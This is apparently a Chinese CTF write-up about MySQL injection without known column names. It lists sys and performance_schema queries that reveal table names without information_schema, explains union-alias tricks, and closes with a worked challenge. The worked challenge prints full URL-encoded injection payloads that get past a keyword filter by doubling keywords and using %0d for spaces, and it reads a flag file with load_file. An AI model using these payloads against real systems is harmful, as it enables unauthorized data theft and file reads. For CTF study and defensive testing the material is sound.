记一次CTF-mysql无列名注入 – 作者:JunMo666

0x01 Bypass information_schema获取表名

innodb存储引擎

Mysql>5.6.x 可以利用innodb_table_stats和innodb_table_stats两个表来查询,mysql默认是关闭InnoDB存储引擎,两表均有database_name和table_name字段

select table_name from mysql.innodb_table_stats where database_name = database();
select table_name from mysql.innodb_index_stats where database_name = database();

MySQL5.7的新特性

sys.schema_auto_increment_columns该视图的作用简单来说就是用来对表自增ID的监控,需要表内存在自增id才可被查询到

SELECT * FROM sys.schema_auto_increment_columns WHERE TABLE_SCHEMA='testsql';

这里其实我们需要的部分就是table_schema,table_name,column_name这3个列1620880280_609cab986a577c32d96cd.png!small?1620880281236

testsql内有着两个表testtable以及testxxxx只有自增ID的表testtable被查询出来了1620880394_609cac0a2f1264057cfef.png!small?1620880395115

sys.schema_table_statistics_with_buffer,通过查询这个视图可以获取没有自增id的表名1620880538_609cac9a6f3fc30b02aa6.png!small?1620880539169

sys.x$ps_schema_table_statistics_io

SELECT * FROM sys.x$ps_schema_table_statistics_io WHERE TABLE_SCHEMA='testsql'

1620880590_609cacce4b2e056ae9ab1.png!small?1620880591046

其他

SELECT * FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = 'testsql';
SELECT * FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = 'testsql';
SELECT * FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = 'testsql';
SELECT * FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = 'testsql';
SELECT * FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = 'testsql';
SELECT * FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = 'testsql';

通过表文件的存储路径获取表名

SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP 'testsql';
SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP 'testsql';
SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP 'testsql';

1620880754_609cad723548db4520bff.png!small?1620880754924

performance_schema

SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = 'testsql';
SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = 'testsql';
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = 'testsql';
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = 'testsql';
SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = 'testsql';

包含表文件路径的表

SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();

1620880854_609cadd66e205d7036e73.png!small?1620880855290

0x02 无列名注入

我们获取了表的信息但是没办法获取列名时可利用无列名的方式进行注入,无列名注入的原理其实类似于将我们不知道的列名,进行取别名操作,在取别名的同时进行数据查询,所以如果我们查询的字段多于数据表中列的时候,会出现报错。

select * from testtable;

1620881035_609cae8b07672b13b00c5.png!small?1620881035700

数据表中有3列,我们使用无列名查询的方式尝试查询一下

select 1,2,3 union select * from testtable;

1620881067_609caeab7d2238bdbe291.png!small?1620881068180

无列名注入对应所查询数据表的列数必须一直不然会报错,这里在添加一列查询进行测试

1620881092_609caec4954a040940641.png!small?1620881093346

查询第二列数据

select `2` from(select 1,2,3 union select * from testtable)b;

1620881130_609caeea54b2ebfb1adc3.png!small?1620881131057

查询多列数据,也可以使用group_concat等函数

select concat(`2`,0x7e,`3`) from (select 1,2,3 union select * from testtable)a;

1620881184_609caf205bf8c655e2e52.png!small?1620881185085

当`被过滤时,可以使用别名查询

select t from(select 1,2 as t,3 union select * from testtable)b;

1620881227_609caf4b114f1607b999f.png!small?1620881227754

还可以使用join进行无逗号注入 a是第一个列b是第二c是第三

select b from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from testtable)x;

1620881288_609caf88561d2f7ec81fc.png!small?1620881289065

例题

在睡觉前某个师傅发过来了一个CTF注入题目,刚好用到了无列名注入记录一下

手动测试了一下拦截 or 空格跟%0a %09等空白字符

1620881494_609cb056b38822a1664a8.png!small?1620881495364

判断列数使用group这里空格使用%0d得到3列

1620881545_609cb089daaa58ad28f4f.png!small?1620881546586

测试联合注入发现页面显示error也没被拦截,拦截页面会输出die

1620881579_609cb0ab0bc6f20589723.png!small?1620881579902

这里猜测是进行过滤将union跟select双写成功

1620881605_609cb0c524e4518401bdb.png!small?1620881605797

这里也测试了一下将union放在or中间,发现还是被拦截,估计是替换后在判断是否拦截的所以这里要从information_schema里获取数据就不太现实了

1620881641_609cb0e9ecef2c683c855.png!small?1620881642661

得到当前数据库iscc_web跟版本5.7.33

1620881668_609cb104768e42362860d.png!small?1620881669159

这里版本是5.7所以我们可以sys.x$ps_schema_table_statistics_io来获取表名这里很明显我们需要的iscc_flag这个表内的数据

id=-1'uniunionon%0dselselectect%0d1,group_concat(table_name),3%0dfrom%0dsys.x$ps_schema_table_statistics_io%0dwhere%0dtable_schema='iscc_web'%23

1620881702_609cb1261213720cf4a32.png!small?1620881702732

这里采用无列名注入获取iscc_flag表的数据得到ccmd.php

?id=-1'uniunionon%0dselselectect%0d1,(selselectect%0dgroup_concat(a)%0dfrom%0d(selselectect%0d1,2%0das%0da%0duunionnion%0dselselectect*from%0discc_flag)c),3%23

1620881756_609cb15ca0ceafde94582.png!small?1620881757369

ccmd.php打开又是一个新题目页面底部提示我们flag在flllllllllaaag.php文件里

1620881796_609cb18425e1b1e876aef.png!small?1620881796870

测试一下没被拦截的字符

1620881818_609cb19abe8d7ce7c7fee.png!small?1620881819415

执行一下pwd获取当前路径

1620881839_609cb1af8a3e709b587c7.png!small?1620881840296

然后我们通过mysql的load_file函数去读取文件

1620881875_609cb1d3485c6ca00f25c.png!small?1620881875982

成功读取到flag

1620881898_609cb1ea06eb881bff5bc.png!small?1620881898959

来源:freebuf.com 2021-05-20 08:41:41 by: JunMo666

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论